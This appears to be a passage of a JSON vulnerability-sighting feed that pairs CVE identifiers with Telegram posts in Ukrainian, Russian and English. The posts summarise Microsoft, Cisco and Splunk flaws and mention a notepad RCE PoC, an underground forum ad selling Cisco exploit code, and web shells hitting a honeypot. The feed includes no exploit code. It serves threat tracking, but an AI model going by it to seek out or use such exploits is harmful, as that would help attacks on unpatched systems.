\u043f\u0430\u043c'\u044f\u0442\u0456. DWM \u0432\u0456\u0434\u043f\u043e\u0432\u0456\u0434\u0430\u0454 \u0437\u0430 \u0442\u0435, \u044f\u043a \u0432\u0438\u0433\u043b\u044f\u0434\u0430\u044e\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u0438 \u043d\u0430 \u0435\u043a\u0440\u0430\u043d\u0456, \u0456 \u0445\u043e\u0447\u0430 Microsoft \u043e\u0446\u0456\u043d\u044e\u0454 \u0457\u0457 \u043d\u0435 \u0434\u0443\u0436\u0435 \u0432\u0438\u0441\u043e\u043a\u043e, \u0430\u043b\u0435 \u0432\u043e\u043d\u0430, \u0440\u0430\u0437\u043e\u043c \u0437 \u0443\u0441\u0456\u043c\u0430 \u0456\u043d\u0448\u0438\u043c\u0438 \u0434\u0438\u0440\u043a\u0430\u043c\u0438,  \u043c\u043e\u0436\u0435 \u0434\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u0438 \u043e\u0442\u0440\u0438\u043c\u0430\u0442\u0438 \u0431\u0430\u0436\u0430\u043d\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f\n\nMicrosoft \u0442\u0430\u043a\u043e\u0436 \u043d\u0430\u0437\u0438\u0432\u0430\u0454 \u0449\u0435 8 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0436\u043d\u0456\u0439 \u0437 \u044f\u043a\u0438\u0445 \u043f\u0440\u0438\u0441\u0432\u043e\u0454\u043d\u043e \u0440\u0435\u0439\u0442\u0438\u043d\u0433 7.8:\n\n CVE-2026-20840 \u0456 CVE-2026-20922 - \u043f\u0435\u0440\u0435\u043f\u043e\u0432\u043d\u0435\u043d\u043d\u044f \u0431\u0443\u0444\u0435\u0440\u0430\n\nCVE-2026-20816 - \u0441\u0442\u043e\u0441\u0443\u0454\u0442\u044c\u0441\u044f \u0456\u043d\u0441\u0442\u0430\u043b\u044f\u0448\u043a\u0438 \u0432\u0456\u043d\u0434\u0438\n\nCVE-2026-20817 - \u0432\u0456\u0434\u043d\u043e\u0441\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430 Windows Error Reporting (WER)\n\nCVE-2026-20820 - Windows Common Log File System Driver\n\nCVE-2026-20843 - \u0432\u043f\u043b\u0438\u0432\u0430\u0454 \u043d\u0430 Windows Routing and Remote Access Service\n\nCVE-2026-20860 - Windows Ancillary Function Driver for WinSock \n\n CVE-2026-20871 - Desktop Window Manager", "creation_timestamp": "2026-07-20T19:00:04.972014Z"}, {"uuid": "d283a500-6f6a-433c-a24b-3db888745c32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2006", "type": "seen", "source": "Telegram/C68vAiOvcgG9lHVb6qKEs_n08CTf7FrBhGjNIOFUmmQPqw", "content": "", "creation_timestamp": "2026-07-20T19:00:12.097810Z"}, {"uuid": "a7429b93-53b4-439b-8251-d02a33b70801", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://t.me/RMRFgroup/292", "content": "Microsoft \"\u0447\u0443\u0434\u043e\u0432\u043e\" \u043f\u043e\u0447\u0430\u043b\u0430 \u0440\u0456\u043a: \u0442\u0440\u0456\u0448\u043a\u0438 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439 \u043d\u0443\u043b\u044c\u043e\u0432\u043e\u0433\u043e \u0434\u043d\u044f, \u0430 \u0449\u0435 \u0434\u0435\u043a\u0456\u043b\u044c\u043a\u0430 \u043f\u043e\u0434\u0430\u0440\u0443\u043d\u043a\u0456\u0432 \u043c\u0435\u043d\u0448\u043e\u0433\u043e \u0440\u043e\u0437\u043c\u0456\u0440\u0443 (100+)\n\n\u0417\u0430\u0433\u0430\u043b\u043e\u043c \u0437\u0430\u0444\u0456\u043a\u0441\u043e\u0432\u0430\u043d\u043e 112 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439 (\u0432\u0434\u0432\u0456\u0447\u0456 \u0431\u0456\u043b\u044c\u0448\u0435 \u043d\u0456\u0436 \u0437\u0430 \u0433\u0440\u0443\u0434\u0435\u043d\u044c), \u0431\u0456\u043b\u044c\u0448\u0456\u0441\u0442\u044c, \u044f\u043a\u0449\u043e \u043d\u0435 \u0432\u0441\u0456, \u0432\u0438\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0456 \u0432 \u043f\u0430\u0442\u0447\u0456. \u0421\u0435\u0440\u0435\u0434 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439, \u043d\u0430\u043f\u0440\u0438\u043a\u043b\u0430\u0434 \u0454 CVE-2026-20805 (CVSS score: 5.5) - \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u0456\u0441\u0442\u044c \u043d\u0443\u043b\u044c\u043e\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 Desktop Window Manager (DWM), \u044f\u043a\u0430 \u0434\u043e\u0437\u0432\u043e\u043b\u044f\u0454 \u0432\u0438\u043a\u043e\u043d\u0443\u0432\u0430\u0442\u0438 \u043a\u043e\u0434 \u0437\u0430\u0432\u0434\u044f\u043a\u0438 \u0432\u0438\u0442\u043e\u043a\u0443 \u043f\u0430\u043c'\u044f\u0442\u0456. DWM \u0432\u0456\u0434\u043f\u043e\u0432\u0456\u0434\u0430\u0454 \u0437\u0430 \u0442\u0435, \u044f\u043a \u0432\u0438\u0433\u043b\u044f\u0434\u0430\u044e\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u0438 \u043d\u0430 \u0435\u043a\u0440\u0430\u043d\u0456, \u0456 \u0445\u043e\u0447\u0430 Microsoft \u043e\u0446\u0456\u043d\u044e\u0454 \u0457\u0457 \u043d\u0435 \u0434\u0443\u0436\u0435 \u0432\u0438\u0441\u043e\u043a\u043e, \u0430\u043b\u0435 \u0432\u043e\u043d\u0430, \u0440\u0430\u0437\u043e\u043c \u0437 \u0443\u0441\u0456\u043c\u0430 \u0456\u043d\u0448\u0438\u043c\u0438 \u0434\u0438\u0440\u043a\u0430\u043c\u0438,  \u043c\u043e\u0436\u0435 \u0434\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u0438 \u043e\u0442\u0440\u0438\u043c\u0430\u0442\u0438 \u0431\u0430\u0436\u0430\u043d\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f\n\nMicrosoft \u0442\u0430\u043a\u043e\u0436 \u043d\u0430\u0437\u0438\u0432\u0430\u0454 \u0449\u0435 8 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0436\u043d\u0456\u0439 \u0437 \u044f\u043a\u0438\u0445 \u043f\u0440\u0438\u0441\u0432\u043e\u0454\u043d\u043e \u0440\u0435\u0439\u0442\u0438\u043d\u0433 7.8:\n\n CVE-2026-20840 \u0456 CVE-2026-20922 - \u043f\u0435\u0440\u0435\u043f\u043e\u0432\u043d\u0435\u043d\u043d\u044f \u0431\u0443\u0444\u0435\u0440\u0430\n\nCVE-2026-20816 - \u0441\u0442\u043e\u0441\u0443\u0454\u0442\u044c\u0441\u044f \u0456\u043d\u0441\u0442\u0430\u043b\u044f\u0448\u043a\u0438 \u0432\u0456\u043d\u0434\u0438\n\nCVE-2026-20817 - \u0432\u0456\u0434\u043d\u043e\u0441\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430 Windows Error Reporting (WER)\n\nCVE-2026-20820 - Windows Common Log File System Driver\n\nCVE-2026-20843 - \u0432\u043f\u043b\u0438\u0432\u0430\u0454 \u043d\u0430 Windows Routing and Remote Access Service\n\nCVE-2026-20860 - Windows Ancillary Function Driver for WinSock \n\n CVE-2026-20871 - Desktop Window Manager", "creation_timestamp": "2026-07-20T19:00:04.948766Z"}, {"uuid": "2c893deb-cfe0-457a-b017-0aee877b42a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20840", "type": "seen", "source": "https://t.me/RMRFgroup/292", "content": "Microsoft \"\u0447\u0443\u0434\u043e\u0432\u043e\" \u043f\u043e\u0447\u0430\u043b\u0430 \u0440\u0456\u043a: \u0442\u0440\u0456\u0448\u043a\u0438 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439 \u043d\u0443\u043b\u044c\u043e\u0432\u043e\u0433\u043e \u0434\u043d\u044f, \u0430 \u0449\u0435 \u0434\u0435\u043a\u0456\u043b\u044c\u043a\u0430 \u043f\u043e\u0434\u0430\u0440\u0443\u043d\u043a\u0456\u0432 \u043c\u0435\u043d\u0448\u043e\u0433\u043e \u0440\u043e\u0437\u043c\u0456\u0440\u0443 (100+)\n\n\u0417\u0430\u0433\u0430\u043b\u043e\u043c \u0437\u0430\u0444\u0456\u043a\u0441\u043e\u0432\u0430\u043d\u043e 112 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439 (\u0432\u0434\u0432\u0456\u0447\u0456 \u0431\u0456\u043b\u044c\u0448\u0435 \u043d\u0456\u0436 \u0437\u0430 \u0433\u0440\u0443\u0434\u0435\u043d\u044c), \u0431\u0456\u043b\u044c\u0448\u0456\u0441\u0442\u044c, \u044f\u043a\u0449\u043e \u043d\u0435 \u0432\u0441\u0456, \u0432\u0438\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0456 \u0432 \u043f\u0430\u0442\u0447\u0456. \u0421\u0435\u0440\u0435\u0434 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439, \u043d\u0430\u043f\u0440\u0438\u043a\u043b\u0430\u0434 \u0454 CVE-2026-20805 (CVSS score: 5.5) - \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u0456\u0441\u0442\u044c \u043d\u0443\u043b\u044c\u043e\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 Desktop Window Manager (DWM), \u044f\u043a\u0430 \u0434\u043e\u0437\u0432\u043e\u043b\u044f\u0454 \u0432\u0438\u043a\u043e\u043d\u0443\u0432\u0430\u0442\u0438 \u043a\u043e\u0434 \u0437\u0430\u0432\u0434\u044f\u043a\u0438 \u0432\u0438\u0442\u043e\u043a\u0443 \u043f\u0430\u043c'\u044f\u0442\u0456. DWM \u0432\u0456\u0434\u043f\u043e\u0432\u0456\u0434\u0430\u0454 \u0437\u0430 \u0442\u0435, \u044f\u043a \u0432\u0438\u0433\u043b\u044f\u0434\u0430\u044e\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u0438 \u043d\u0430 \u0435\u043a\u0440\u0430\u043d\u0456, \u0456 \u0445\u043e\u0447\u0430 Microsoft \u043e\u0446\u0456\u043d\u044e\u0454 \u0457\u0457 \u043d\u0435 \u0434\u0443\u0436\u0435 \u0432\u0438\u0441\u043e\u043a\u043e, \u0430\u043b\u0435 \u0432\u043e\u043d\u0430, \u0440\u0430\u0437\u043e\u043c \u0437 \u0443\u0441\u0456\u043c\u0430 \u0456\u043d\u0448\u0438\u043c\u0438 \u0434\u0438\u0440\u043a\u0430\u043c\u0438,  \u043c\u043e\u0436\u0435 \u0434\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u0438 \u043e\u0442\u0440\u0438\u043c\u0430\u0442\u0438 \u0431\u0430\u0436\u0430\u043d\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f\n\nMicrosoft \u0442\u0430\u043a\u043e\u0436 \u043d\u0430\u0437\u0438\u0432\u0430\u0454 \u0449\u0435 8 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0436\u043d\u0456\u0439 \u0437 \u044f\u043a\u0438\u0445 \u043f\u0440\u0438\u0441\u0432\u043e\u0454\u043d\u043e \u0440\u0435\u0439\u0442\u0438\u043d\u0433 7.8:\n\n CVE-2026-20840 \u0456 CVE-2026-20922 - \u043f\u0435\u0440\u0435\u043f\u043e\u0432\u043d\u0435\u043d\u043d\u044f \u0431\u0443\u0444\u0435\u0440\u0430\n\nCVE-2026-20816 - \u0441\u0442\u043e\u0441\u0443\u0454\u0442\u044c\u0441\u044f \u0456\u043d\u0441\u0442\u0430\u043b\u044f\u0448\u043a\u0438 \u0432\u0456\u043d\u0434\u0438\n\nCVE-2026-20817 - \u0432\u0456\u0434\u043d\u043e\u0441\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430 Windows Error Reporting (WER)\n\nCVE-2026-20820 - Windows Common Log File System Driver\n\nCVE-2026-20843 - \u0432\u043f\u043b\u0438\u0432\u0430\u0454 \u043d\u0430 Windows Routing and Remote Access Service\n\nCVE-2026-20860 - Windows Ancillary Function Driver for WinSock \n\n CVE-2026-20871 - Desktop Window Manager", "creation_timestamp": "2026-07-20T19:00:05.124725Z"}, {"uuid": "79a4591b-a3b3-47d6-8232-9db3a92cc9c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://t.me/MalaysiaHacktivistz/9753", "content": "Cisco Fixes Actively Exploited Zero-Day CVE-2026-20045 in Unified CM and Webex \u2013 thehackernews.com\n\nThu, 22 Jan 2026 12:06:00", "creation_timestamp": "2026-07-20T19:00:05.325233Z"}, {"uuid": "a03e0dac-21b2-4609-93cc-8f9f3ab0c909", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20817", "type": "seen", "source": "https://t.me/proxy_bar/3156", "content": "\u041d\u0430\u0448\u0438 \u0441\u043d\u043e\u0432\u0430 \u0432 \u0433\u043e\u0440\u043e\u0434\u0435 \ud83c\udff4\u200d\u2620\ufe0f\n*\nCVE-2026-20817 - Windows Error Reporting (WER) ALPC Privilege Escalation\n*\nlets roll", "creation_timestamp": "2026-07-20T19:00:07.851737Z"}, {"uuid": "079c90fc-1bf8-41db-b73e-bc793b3ed5db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://t.me/proxy_bar/3190", "content": "UPD to https://t.me/proxy_bar/3185 CVE-2026-20127\n *\n\u0412 Cisco SD-WAN honeypot \u043d\u0430\u0447\u0430\u043b\u0438 \u043c\u0430\u0441\u0441\u043e\u0432\u043e \u043f\u0440\u0438\u043b\u0435\u0442\u0430\u0442\u044c \u0432\u0435\u0431-\u0448\u0435\u043b\u043b\u044b.\n\u041c\u0430\u0445\u043e\u0432\u0438\u0447\u043e\u043a \u043a\u0440\u0443\u0442\u0438\u0442\u0441\u044f.", "creation_timestamp": "2026-07-20T19:00:07.718889Z"}, {"uuid": "83adafc8-ac0d-4a5a-8d86-22123a22968e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20871", "type": "seen", "source": "https://t.me/RMRFgroup/292", "content": "Microsoft \"\u0447\u0443\u0434\u043e\u0432\u043e\" \u043f\u043e\u0447\u0430\u043b\u0430 \u0440\u0456\u043a: \u0442\u0440\u0456\u0448\u043a\u0438 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439 \u043d\u0443\u043b\u044c\u043e\u0432\u043e\u0433\u043e \u0434\u043d\u044f, \u0430 \u0449\u0435 \u0434\u0435\u043a\u0456\u043b\u044c\u043a\u0430 \u043f\u043e\u0434\u0430\u0440\u0443\u043d\u043a\u0456\u0432 \u043c\u0435\u043d\u0448\u043e\u0433\u043e \u0440\u043e\u0437\u043c\u0456\u0440\u0443 (100+)\n\n\u0417\u0430\u0433\u0430\u043b\u043e\u043c \u0437\u0430\u0444\u0456\u043a\u0441\u043e\u0432\u0430\u043d\u043e 112 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439 (\u0432\u0434\u0432\u0456\u0447\u0456 \u0431\u0456\u043b\u044c\u0448\u0435 \u043d\u0456\u0436 \u0437\u0430 \u0433\u0440\u0443\u0434\u0435\u043d\u044c), \u0431\u0456\u043b\u044c\u0448\u0456\u0441\u0442\u044c, \u044f\u043a\u0449\u043e \u043d\u0435 \u0432\u0441\u0456, \u0432\u0438\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0456 \u0432 \u043f\u0430\u0442\u0447\u0456. \u0421\u0435\u0440\u0435\u0434 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439, \u043d\u0430\u043f\u0440\u0438\u043a\u043b\u0430\u0434 \u0454 CVE-2026-20805 (CVSS score: 5.5) - \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u0456\u0441\u0442\u044c \u043d\u0443\u043b\u044c\u043e\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 Desktop Window Manager (DWM), \u044f\u043a\u0430 \u0434\u043e\u0437\u0432\u043e\u043b\u044f\u0454 \u0432\u0438\u043a\u043e\u043d\u0443\u0432\u0430\u0442\u0438 \u043a\u043e\u0434 \u0437\u0430\u0432\u0434\u044f\u043a\u0438 \u0432\u0438\u0442\u043e\u043a\u0443 \u043f\u0430\u043c'\u044f\u0442\u0456. DWM \u0432\u0456\u0434\u043f\u043e\u0432\u0456\u0434\u0430\u0454 \u0437\u0430 \u0442\u0435, \u044f\u043a \u0432\u0438\u0433\u043b\u044f\u0434\u0430\u044e\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u0438 \u043d\u0430 \u0435\u043a\u0440\u0430\u043d\u0456, \u0456 \u0445\u043e\u0447\u0430 Microsoft \u043e\u0446\u0456\u043d\u044e\u0454 \u0457\u0457 \u043d\u0435 \u0434\u0443\u0436\u0435 \u0432\u0438\u0441\u043e\u043a\u043e, \u0430\u043b\u0435 \u0432\u043e\u043d\u0430, \u0440\u0430\u0437\u043e\u043c \u0437 \u0443\u0441\u0456\u043c\u0430 \u0456\u043d\u0448\u0438\u043c\u0438 \u0434\u0438\u0440\u043a\u0430\u043c\u0438,  \u043c\u043e\u0436\u0435 \u0434\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u0438 \u043e\u0442\u0440\u0438\u043c\u0430\u0442\u0438 \u0431\u0430\u0436\u0430\u043d\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f\n\nMicrosoft \u0442\u0430\u043a\u043e\u0436 \u043d\u0430\u0437\u0438\u0432\u0430\u0454 \u0449\u0435 8 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0436\u043d\u0456\u0439 \u0437 \u044f\u043a\u0438\u0445 \u043f\u0440\u0438\u0441\u0432\u043e\u0454\u043d\u043e \u0440\u0435\u0439\u0442\u0438\u043d\u0433 7.8:\n\n CVE-2026-20840 \u0456 CVE-2026-20922 - \u043f\u0435\u0440\u0435\u043f\u043e\u0432\u043d\u0435\u043d\u043d\u044f \u0431\u0443\u0444\u0435\u0440\u0430\n\nCVE-2026-20816 - \u0441\u0442\u043e\u0441\u0443\u0454\u0442\u044c\u0441\u044f \u0456\u043d\u0441\u0442\u0430\u043b\u044f\u0448\u043a\u0438 \u0432\u0456\u043d\u0434\u0438\n\nCVE-2026-20817 - \u0432\u0456\u0434\u043d\u043e\u0441\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430 Windows Error Reporting (WER)\n\nCVE-2026-20820 - Windows Common Log File System Driver\n\nCVE-2026-20843 - \u0432\u043f\u043b\u0438\u0432\u0430\u0454 \u043d\u0430 Windows Routing and Remote Access Service\n\nCVE-2026-20860 - Windows Ancillary Function Driver for WinSock \n\n CVE-2026-20871 - Desktop Window Manager", "creation_timestamp": "2026-07-20T20:00:05.774187Z"}, {"uuid": "b183fe89-5859-4573-8677-3a3d7ab811b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://t.me/proxy_bar/3135", "content": "CVE-2026-20841 - Windows notepad.exe RCE\n*\nPoC", "creation_timestamp": "2026-07-20T20:00:09.174073Z"}, {"uuid": "c6db6d14-bc09-4e49-b3a3-0e0333e2904b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "published-proof-of-concept", "source": "https://t.me/pphm_HackerNews/1558", "content": "\ud83d\udd34 Underground Forum User Claims to Sell Cisco CVE-2026-20045 Exploit Code\n\nCisco Unified Communications\nAlleged CVE-2026-20045 RCE Exploit Source Code Advertised on Underground Forum\n\nA threat actor is advertising what they claim to be source code and exploit material for CVE-2026-20045, a high-severity vulnerability affecting multiple Cisco Unified Communications products.\n\nAccording to the forum post, the actor claims:\n\n* Exploit targets CVE-2026-20045\n* CVSS Score: 8.2 (High)\n* Unauthenticated Remote Code Execution (RCE)\n* Source code included\n* Exploit download available to forum members\n* Targets multiple Cisco Unified Communications platforms", "creation_timestamp": "2026-08-23T00:00:41.399798Z"}, {"uuid": "8c2fc913-e395-45fb-bb6a-0a9c2edb409e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://t.me/pphm_HackerNews/1623", "content": "\ud83d\udd34 Hackers Exploiting Cisco Unified CM Vulnerability\n\nCisco announced patches for the vulnerability, tracked as CVE-2026-20230. The company said the critical security hole can be exploited by an unauthenticated, remote attacker to conduct SSRF attacks, write arbitrary files to the underlying operating system, and escalate privileges to root. Exploitation requires enabling the WebDialer service, which is disabled by default.\n\nWhen it announced fixes, Cisco noted that a PoC exploit had been available, but said it was not aware of any in-the-wild exploitation.", "creation_timestamp": "2026-08-23T00:00:41.626718Z"}, {"uuid": "d96b3573-5763-4476-ab7d-550c12de9d89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20296", "type": "seen", "source": "https://t.me/pphm_HackerNews/2106", "content": "\ud83d\udd34 Splunk Enterprise Flaws Expose Stored Credentials and Allow Arbitrary SPL Searches\n\nSplunk has released security updates for three vulnerabilities in Splunk Enterprise and Splunk Cloud Platform.\n\nThese vulnerabilities could potentially expose stored credential hashes, enable arbitrary Search Processing Language (SPL) searches, and allow files to be written outside of the intended application directory.\n\nThe flaws, tracked as CVE-2026-20296, CVE-2026-20297, and CVE-2026-20298, were disclosed on July 15, 2026. Organizations running affected releases of Splunk Enterprise should prioritize upgrades, especially if they have Splunk Web and Deployment Server functionality enabled.", "creation_timestamp": "2026-08-23T00:00:44.483810Z"}, {"uuid": "58ec98df-d00f-439b-92fb-87abf00f43ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20297", "type": "seen", "source": "https://t.me/pphm_HackerNews/2106", "content": "\ud83d\udd34 Splunk Enterprise Flaws Expose Stored Credentials and Allow Arbitrary SPL Searches\n\nSplunk has released security updates for three vulnerabilities in Splunk Enterprise and Splunk Cloud Platform.\n\nThese vulnerabilities could potentially expose stored credential hashes, enable arbitrary Search Processing Language (SPL) searches, and allow files to be written outside of the intended application directory.\n\nThe flaws, tracked as CVE-2026-20296, CVE-2026-20297, and CVE-2026-20298, were disclosed on July 15, 2026. Organizations running affected releases of Splunk Enterprise should prioritize upgrades, especially if they have Splunk Web and Deployment Server functionality enabled.", "creation_timestamp": "2026-08-23T00:00:44.518506Z"}, {"uuid": "b19ad950-05fc-4126-8d72-383a63d6ee21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20358", "type": "seen", "source": "https://t.me/true_secator/8535", "content": "\u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u043c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u0438 \u0437\u043d\u0430\u0447\u0438\u043c\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u043d\u0438\u043c\u0438 \u0443\u0433\u0440\u043e\u0437\u044b:\n\n1. \u0417\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u0442\u0440\u0438 \u0433\u043e\u0434\u0430 Cloudflare \u043d\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u043e\u0432 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Spectre \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u0430\u0445. \u041d\u0435\u0434\u0430\u0432\u043d\u043e \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440\u0435\u043b\u0430 \u0441\u0432\u043e\u0438 \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430 \u0437\u0430\u0449\u0438\u0442\u044b \u0438 \u0432\u043d\u0435\u0434\u0440\u0438\u043b\u0430 \u043d\u043e\u0432\u044b\u0435 \u043c\u0435\u0440\u044b, \u0443\u0447\u0438\u0442\u044b\u0432\u0430\u044e\u0449\u0438\u0435 \u043d\u043e\u0432\u044b\u0435 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0430\u0442\u0430\u043a Spectre.\n\n\u041e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f Dynamic Process Isolation, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0438\u0437\u043e\u043b\u0438\u0440\u0443\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b. \u0422\u0435\u043f\u0435\u0440\u044c \u043e\u043d\u0430 \u0442\u0430\u043a\u0436\u0435 \u0438\u0437\u043e\u043b\u0438\u0440\u0443\u0435\u0442 \u0434\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b \u0438 \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0435\u043c\u043a\u0438\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0432\u0432\u043e\u0434\u0430-\u0432\u044b\u0432\u043e\u0434\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0430\u043c\u0438 \u0430\u0442\u0430\u043a\u0438 Spectre.\n\n2. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043d\u0430\u0447\u0430\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c CVE-2026-19478 \u0432 GitLab \u0447\u0435\u0440\u0435\u0437 \u0434\u0432\u0430 \u0434\u043d\u044f \u043f\u043e\u0441\u043b\u0435 \u0435\u0451 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f. \u0410\u0442\u0430\u043a\u0438 \u043d\u0430\u0447\u0430\u043b\u0438\u0441\u044c \u043f\u043e\u0441\u043b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 \u0441\u0435\u0442\u0438 PoC-\u043a\u043e\u0434\u0430. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c 